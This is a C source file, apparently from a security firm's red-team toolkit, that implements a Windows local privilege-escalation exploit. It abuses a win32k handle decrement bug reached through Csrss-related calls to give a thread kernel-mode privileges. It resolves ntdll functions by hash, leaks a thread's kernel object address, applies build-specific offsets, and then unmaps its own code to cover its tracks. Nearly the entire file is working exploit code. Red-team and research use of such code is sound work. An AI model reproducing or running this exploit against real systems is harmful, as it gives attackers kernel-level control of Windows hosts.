Exploit.c

/*!
 *
 * Exploit
 *
 * GuidePoint Security LLC
 *
 * Threat and Attack Simulation
 *
!*/

#include "Common.h"

typedef struct
{
	D_API( NtUnmapViewOfSection );
	D_API( RtlExitUserThread );
	D_API( RtlCaptureContext );
	D_API( NtOpenThread );
	D_API( NtContinue );
	D_API( NtClose );
} API ;

#define H_API_NTUNMAPVIEWOFSECTION	0x6aa412cd /* NtUnmapViewOfSection */
#define H_API_RTLEXITUSERTHREAD		0x2f6db5e8 /* RtlExitUserThread */
#define H_API_RTLCAPTURECONTEXT		0xeba8d910 /* RtlCaptureContext */
#define H_API_NTOPENTHREAD		0x968e0cb1 /* NtOpenThread */
#define H_API_NTCONTINUE		0xfc3a6c2c /* NtContinue */
#define H_API_NTCLOSE			0x40d6e69d /* NtClose */
#define H_LIB_NTDLL			0x1edab0ed /* ntdll.dll */

/*!
 *
 * Purpose:
 *
 * Leverages a arbitrary decrement bug in the way
 * win32k accepts handles from Csrss to elevate
 * the initial exploit chain thread to KernelMode.
 *
!*/

D_SEC( D ) VOID WINAPI ExploitFunction( _In_ PVOID Parameter )
{
	API			Api;
	CONTEXT			Ctx;
	CLIENT_ID		Cid;
	OBJECT_ATTRIBUTES	Att;
	DESKTOPUSEDESKTOP	Use;

	LPVOID			Obj = NULL;
	LPVOID			Thd = NULL;

	RtlSecureZeroMemory( &Api, sizeof( Api ) );
	RtlSecureZeroMemory( &Ctx, sizeof( Ctx ) );
	RtlSecureZeroMemory( &Cid, sizeof( Cid ) );
	RtlSecureZeroMemory( &Att, sizeof( Att ) );
	RtlSecureZeroMemory( &Use, sizeof( Use ) );

	Api.NtUnmapViewOfSection = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTUNMAPVIEWOFSECTION );
	Api.RtlExitUserThread    = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLEXITUSERTHREAD );
	Api.RtlCaptureContext    = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLCAPTURECONTEXT );
	Api.NtOpenThread         = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTOPENTHREAD );
	Api.NtContinue           = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTCONTINUE );
	Api.NtClose              = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTCLOSE );

	InitializeObjectAttributes( &Att, NULL, 0, NULL, NULL );
	Cid.UniqueThread  = ( ( PTABLE ) G_PTR( Table ) )->ThreadId;
	Cid.UniqueProcess = ( ( PTABLE ) G_PTR( Table ) )->ProcessId;

	if ( NT_SUCCESS( Api.NtOpenThread( &Thd, THREAD_ALL_ACCESS, &Att, &Cid ) ) ) {
		if ( ( Obj = KernelObjectAddress( Thd ) ) != NULL ) {
			if ( NT_SUCCESS( NtUserSetInformationThreadCall( NtCurrentThread(), UserThreadUseDesktop, &Use, sizeof( Use ) ) ) ) {
				if ( NtCurrentPeb()->OSBuildNumber >= 9200 ) {
					Use.Restore.pDeskRestore = C_PTR( U_PTR( U_PTR( Obj ) + 0x232 ) + 0x30 );
				} else {
					Use.Restore.pDeskRestore = C_PTR( U_PTR( U_PTR( Obj ) + 0x1f6 ) + 0x30 );
				};
				NtUserHardErrorControlCall( HardErrorDetachNoQueue, NtCurrentThread(), &Use.Restore );
			};
		};
		Api.NtClose( Thd );
	};

	Ctx.ContextFlags = CONTEXT_FULL; Api.RtlCaptureContext( &Ctx );
	Ctx.Rsp  = ( ( Ctx.Rsp &~ ( 0x1000 - 1 ) ) - 0x1000 );
	Ctx.Rip  = U_PTR( Api.NtUnmapViewOfSection );
	Ctx.Rcx  = U_PTR( NtCurrentProcess() );
	Ctx.Rdx  = U_PTR( G_PTR( ExploitFunction ) );
	*( ULONG_PTR * )( Ctx.Rsp + 0x0 ) = U_PTR( Api.RtlExitUserThread );
	Ctx.ContextFlags = CONTEXT_FULL; Api.NtContinue( &Ctx, FALSE );
};